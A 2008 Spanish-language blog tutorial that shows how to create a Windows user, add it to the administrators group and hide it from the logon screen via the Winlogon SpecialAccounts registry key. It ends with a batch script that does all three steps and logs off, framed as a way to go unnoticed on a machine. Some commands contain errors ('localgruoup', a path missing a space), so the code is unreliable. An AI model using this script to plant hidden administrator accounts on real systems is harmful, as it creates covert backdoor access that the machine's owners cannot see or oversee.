|
.:: Creando cuentas invisibles en Windows ::. |
|
|
|
|
Escrito por [D-m-K]
|
|
lunes, 05 de mayo de 2008 |
|
Esta dirección de correo electrónico está protegida contra los robots de spam, necesita tener Javascript activado para poder verla
Introduccion
- Muchas veces hemos querido tener nuestro propio usuario en una maquina window y pasar desapercibidos, pero Wow que changos sucede ¿cuando creamos nuestra cuenta e intentamos iniciar sesion..? Si señor... esa es la respuesta... el nombre de la cuenta aparece hay.. Bueno aqui se hara una pequeña referencia de algunos comandos importantes para hacer toda la operacion, desde crear el usuario hasta ocultarlo simplemente con 3 lineas de codigo en un archivo BATCH (.BAT)
Justificacion
- La idea es dejar de usar el sistema de ventanas X window y pasar a otro paralelo de uso comandos desde la consola/prompt. Tambien conocer ciertos comandos que pueden ser muy utiles cuando se manejan los parametros adecuados.
En la practica
1. Creando nuestro usuario
- Para crear nuestro usuario debemos tener en cuenta que debemos tener una cuenta de root [Administrador] o usuario avanzado... Para crear una cuenta desde la consola es tan simple como ingresar el comando net user.. con la siguiente estructura.
net user usuario clave /Add/ * La clave es opcional. si no se ingresa queda en blanco cuando se inicie sesion
2. Adicionando nuestro usuario a un grupo
- El siguiente paso despues de crear nuestro usuario es adicionarlo a un grupo, ya que por defecto queda como invitado/usuario normal. Para poder realizar esta operacion desde la consola, simplemente debemos tener en cuenta el comando net localgroup el cual contiene el listado de los grupos del sistema [influye el idioma del SO] y permite realizar tareas con un usuario en especial en este caso sera el usuario que hayamos creado.
net localgroup administradores usuario /Add *En este ejemplo mi usuario quedo en el grupo de administradores *Se debe tener en cuenta que para hacer este cambio, debemos tener tambien privilegio de administrador.
3. Volviendo a nuestro usuario invisible
- Esta parte se maneja a traves de regedit modificando la clave
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList y adicionando el usuario a volver invisiible, pero para que llamar al regedit si podemos hacerlo todo desde nuestra consola.
Bueno solo con teclear lo siguiente, nuestro usuario quedara invisible en el inicio de sesion.
reg add "HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Usuario /t REG_DWORD /d 0
Aqui hemos creado una clave con valor DWORD y le hemos asignado el valor cero, el cual da la propiedad de invisibilidad en el inicio de sesion...
La parte final
Bueno pues como lo prometido es deuda ahora este es codigo que nos permitira en resumidas cuentas hacer todo lo que se explicaba en la parte de arriba en solo tres lineas... Bueno la ultima es la ñapa y es para cerrar la sesion
Funcionamiento : 1. En una consola de DOS invoca/llama/Ejecuta al bat y colocale dos parametros. 1.1 El primero corresponde al nombre de usuario que sera creado en el sistema 1.2 El segundo corresponde a la clave que tendra el usuario para iniciar sesion 2. Listo ahora solo es probar...
@Echo off rem * Este Bat funciona a partir de dos parametros. rem * 1. define el nombre de usuario con el cual quedara registrado en el sistema. rem * 2. define la clave de inicio de sesion para el usuario rem * Aqui creamos nuestro usuario partiendo de los parametros asignados al momento de invovar el bat @net user %1 %2 /add rem * Aqui agrego al usuario al grupo de admnistradores de la maquina. Se debe tener en cuenta el idioma de windows rem * ya que en las versiones en ingles el nombre cambia por administrators @net localgruoup administradores %1 /add rem * Agrego mi usuario asignandole la ruta en el regedit que contiene las cuentas especiales y creo un nuevo valor rem * de tipo DWORD con valor 0, para asignarle la propiedad e invisibiidad.. @reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v %1 /t REG_DWORD /d 0 rem * Listo ahora todo sera consumado :P rem * cierro mi sesion shutdown -l * Para poder seleccionar al usuario que hemos creado simplemente pulsando la combinacion de teclas [CTRL + ALT + SUPR] en el inicio de sesion se abrira una nueva ventana donde ingresaremos el nombre de usuario y la contraseña (si tiene contraseña). 
PTA: Cualquier duda referente de los comandos simplemente con colocar el comando en la consol y escribir a continuacion /? aparecera la descripcion y funcionamiento de cada comando
PTA2: Como diria Adrian Lamo, cuando todo falla el manual tiene la solucion... si quieren pueden consultar la ayuda de windows con la descripcion de cada comando, con referencias rapidas y ejemplos de su uso. |